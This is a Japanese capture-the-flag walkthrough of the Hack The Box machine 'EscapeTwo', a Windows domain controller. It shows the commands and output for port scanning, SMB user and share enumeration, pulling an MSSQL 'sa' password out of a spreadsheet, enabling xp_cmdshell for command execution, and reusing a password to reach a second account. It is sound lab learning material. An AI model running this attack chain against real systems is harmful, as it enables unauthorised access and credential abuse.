┌──(kali㉿kali)-[~/Downloads]
└─$ sudo nmap 10.10.11.51 -p- -sV -vv --open --reason -Pn
[sudo] password for kali:
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-11 23:35 EST
NSE: Loaded 46 scripts for scanning.
Initiating Parallel DNS resolution of 1 host. at 23:35
Completed Parallel DNS resolution of 1 host. at 23:35, 0.02s elapsed
Initiating SYN Stealth Scan at 23:35
Scanning 10.10.11.51 [65535 ports]
Discovered open port 445/tcp on 10.10.11.51
Discovered open port 135/tcp on 10.10.11.51
Discovered open port 53/tcp on 10.10.11.51
Discovered open port 139/tcp on 10.10.11.51
Discovered open port 49685/tcp on 10.10.11.51
SYN Stealth Scan Timing: About 2.19% done; ETC: 23:58 (0:23:03 remaining)
SYN Stealth Scan Timing: About 4.63% done; ETC: 23:57 (0:20:57 remaining)
SYN Stealth Scan Timing: About 7.90% done; ETC: 23:54 (0:17:41 remaining)
SYN Stealth Scan Timing: About 10.93% done; ETC: 23:53 (0:16:26 remaining)
Discovered open port 49687/tcp on 10.10.11.51
SYN Stealth Scan Timing: About 14.72% done; ETC: 23:53 (0:15:27 remaining)
SYN Stealth Scan Timing: About 18.75% done; ETC: 23:52 (0:13:43 remaining)
SYN Stealth Scan Timing: About 22.87% done; ETC: 23:51 (0:12:22 remaining)
SYN Stealth Scan Timing: About 27.57% done; ETC: 23:50 (0:10:57 remaining)
Discovered open port 49686/tcp on 10.10.11.51
SYN Stealth Scan Timing: About 33.02% done; ETC: 23:49 (0:09:28 remaining)
Discovered open port 5985/tcp on 10.10.11.51
SYN Stealth Scan Timing: About 37.62% done; ETC: 23:48 (0:08:34 remaining)
Discovered open port 49718/tcp on 10.10.11.51
SYN Stealth Scan Timing: About 42.89% done; ETC: 23:48 (0:07:33 remaining)
SYN Stealth Scan Timing: About 48.83% done; ETC: 23:47 (0:06:28 remaining)
Discovered open port 636/tcp on 10.10.11.51
Discovered open port 1433/tcp on 10.10.11.51
SYN Stealth Scan Timing: About 55.18% done; ETC: 23:47 (0:05:25 remaining)
Discovered open port 88/tcp on 10.10.11.51
Discovered open port 49794/tcp on 10.10.11.51
Discovered open port 47001/tcp on 10.10.11.51
SYN Stealth Scan Timing: About 61.63% done; ETC: 23:46 (0:04:28 remaining)
Discovered open port 3269/tcp on 10.10.11.51
SYN Stealth Scan Timing: About 68.57% done; ETC: 23:46 (0:03:31 remaining)
Discovered open port 49665/tcp on 10.10.11.51
Discovered open port 3268/tcp on 10.10.11.51
Discovered open port 49667/tcp on 10.10.11.51
Discovered open port 464/tcp on 10.10.11.51
Discovered open port 49739/tcp on 10.10.11.51
SYN Stealth Scan Timing: About 75.54% done; ETC: 23:46 (0:02:39 remaining)
SYN Stealth Scan Timing: About 80.81% done; ETC: 23:46 (0:02:06 remaining)
Discovered open port 49664/tcp on 10.10.11.51
SYN Stealth Scan Timing: About 86.23% done; ETC: 23:46 (0:01:31 remaining)
Discovered open port 49702/tcp on 10.10.11.51
Discovered open port 9389/tcp on 10.10.11.51
Discovered open port 593/tcp on 10.10.11.51
SYN Stealth Scan Timing: About 91.46% done; ETC: 23:46 (0:00:56 remaining)
Discovered open port 49666/tcp on 10.10.11.51
Discovered open port 389/tcp on 10.10.11.51
Completed SYN Stealth Scan at 23:45, 641.77s elapsed (65535 total ports)
Initiating Service scan at 23:45
Scanning 26 services on 10.10.11.51
Service scan Timing: About 61.54% done; ETC: 23:47 (0:00:34 remaining)
Completed Service scan at 23:47, 68.27s elapsed (26 services on 1 host)
NSE: Script scanning 10.10.11.51.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 23:47
Completed NSE at 23:47, 1.66s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 23:47
Completed NSE at 23:47, 1.83s elapsed
Nmap scan report for 10.10.11.51
Host is up, received user-set (0.34s latency).
Scanned at 2025-01-11 23:35:13 EST for 714s
Not shown: 65509 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON VERSION
53/tcp open domain syn-ack ttl 127 Simple DNS Plus
88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2025-01-12 04:46:02Z)
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds? syn-ack ttl 127
464/tcp open kpasswd5? syn-ack ttl 127
593/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
1433/tcp open ms-sql-s syn-ack ttl 127 Microsoft SQL Server 2019 15.00.2000
3268/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
3269/tcp open ssl/ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp open mc-nmf syn-ack ttl 127 .NET Message Framing
47001/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49664/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49665/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49666/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49667/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49685/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
49686/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49687/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49702/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49718/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49739/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49794/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 713.83 seconds
Raw packets sent: 131422 (5.783MB) | Rcvd: 402 (17.688KB)
ユーザを調べてみます
kali㉿kali)-[~/Downloads]
└─$ crackmapexec smb 10.10.11.51 --users -u 'rose' -p 'KxEPkKe6R8su'
SMB 10.10.11.51 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.51 445 DC01 [+] sequel.htb\rose:KxEPkKe6R8su
SMB 10.10.11.51 445 DC01 [+] Enumerated domain user(s)
SMB 10.10.11.51 445 DC01 sequel.htb\ca_svc badpwdcount: 5 desc:
SMB 10.10.11.51 445 DC01 sequel.htb\rose badpwdcount: 0 desc:
SMB 10.10.11.51 445 DC01 sequel.htb\sql_svc badpwdcount: 1 desc:
SMB 10.10.11.51 445 DC01 sequel.htb\oscar badpwdcount: 0 desc:
SMB 10.10.11.51 445 DC01 sequel.htb\ryan badpwdcount: 0 desc:
SMB 10.10.11.51 445 DC01 sequel.htb\michael badpwdcount: 1 desc:
SMB 10.10.11.51 445 DC01 sequel.htb\krbtgt badpwdcount: 1 desc: Key Distribution Center Service Account
SMB 10.10.11.51 445 DC01 sequel.htb\Guest badpwdcount: 1 desc: Built-in account for guest access to the computer/domain
SMB 10.10.11.51 445 DC01 sequel.htb\Administrator badpwdcount: 1 desc: Built-in account for administering the computer/domain
SMBでアクセスできるShareフォルダを確認します
「Accounting Department」が怪しそうです
┌──(kali㉿kali)-[~/htb/escapetwo]
└─$ crackmapexec smb 10.10.11.51 -u 'rose' -p 'KxEPkKe6R8su' --shares
SMB 10.10.11.51 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.51 445 DC01 [+] sequel.htb\rose:KxEPkKe6R8su
SMB 10.10.11.51 445 DC01 [+] Enumerated shares
SMB 10.10.11.51 445 DC01 Share Permissions Remark
SMB 10.10.11.51 445 DC01 ----- ----------- ------
SMB 10.10.11.51 445 DC01 Accounting Department READ
SMB 10.10.11.51 445 DC01 ADMIN$ Remote Admin
SMB 10.10.11.51 445 DC01 C$ Default share
SMB 10.10.11.51 445 DC01 IPC$ READ Remote IPC
SMB 10.10.11.51 445 DC01 NETLOGON READ Logon server share
SMB 10.10.11.51 445 DC01 SYSVOL READ Logon server share
SMB 10.10.11.51 445 DC01 Users READ
「accounting_2024.xlsx」,「accounts.xlsx」があるのでダウンロードします
┌──(kali㉿kali)-[~/htb/escapetwo]
└─$ smbmap -u rose -p KxEPkKe6R8su -H 10.10.11.51 -r "Accounting Department"
________ ___ ___ _______ ___ ___ __ _______
/" )|" \ /" || _ "\ |" \ /" | /""\ | __ "\
(: \___/ \ \ // |(. |_) :) \ \ // | / \ (. |__) :)
\___ \ /\ \/. ||: \/ /\ \/. | /' /\ \ |: ____/
__/ \ |: \. |(| _ \ |: \. | // __' \ (| /
/" \ :) |. \ /: ||: |_) :)|. \ /: | / / \ \ /|__/ \
(_______/ |___|\__/|___|(_______/ |___|\__/|___|(___/ \___)(_______)
-----------------------------------------------------------------------------
SMBMap - Samba Share Enumerator v1.10.4 | Shawn Evans - [email protected]<mailto:[email protected]>
https://github.com/ShawnDEvans/smbmap
[*] Detected 1 hosts serving SMB
[*] Established 1 SMB connections(s) and 1 authenticated session(s)
[+] IP: 10.10.11.51:445 Name: dc01.sequel.htb Status: Authenticated
Disk Permissions Comment
---- ----------- -------
Accounting Department READ ONLY
./Accounting Department
dr--r--r-- 0 Sun Jun 9 07:11:31 2024 .
dr--r--r-- 0 Sun Jun 9 07:11:31 2024 ..
fr--r--r-- 10217 Sun Jun 9 07:11:31 2024 accounting_2024.xlsx
fr--r--r-- 6780 Sun Jun 9 07:11:31 2024 accounts.xlsx
「accounts.xlsx」は破損しているようですが、基本的にzipファイルなので、
kaliのArchiveで開きます
Excelの文字データは、「sharedString.xml」に書かれており、開くとパスワードが書かれていました

mssqlが動いており「sa」でログインできそうだったので試したところログインできました
sudo impacket-mssqlclient 'sa:MSSQLP@ssw0rd!'@10.10.11.51
Impacket v0.12.0.dev1 - Copyright 2023 Fortra
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(DC01\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208)
[!] Press help for extra shell commands
SQL (sa dbo@master)> EXEC sp_configure 'Show Advanced Options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
[*] INFO(DC01\SQLEXPRESS): Line 185: Configuration option 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install.
[*] INFO(DC01\SQLEXPRESS): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL (sa dbo@master)> EXEC master..xp_cmdshell 'whoami'
output
--------------
sequel\sql_svc
NULL
SQL (sa dbo@master)>
いろいろ探したところ、コンフィグにパスワードがありました


ゲットしたパスワードで他のユーザでログインできるかチェックしたところ「ryan」が同じパスワードでした

SMBClientでアクセスして無事ユーザのフラグを取得できました
smbclient \\\\10.10.11.51\\Users -U ryan


コメント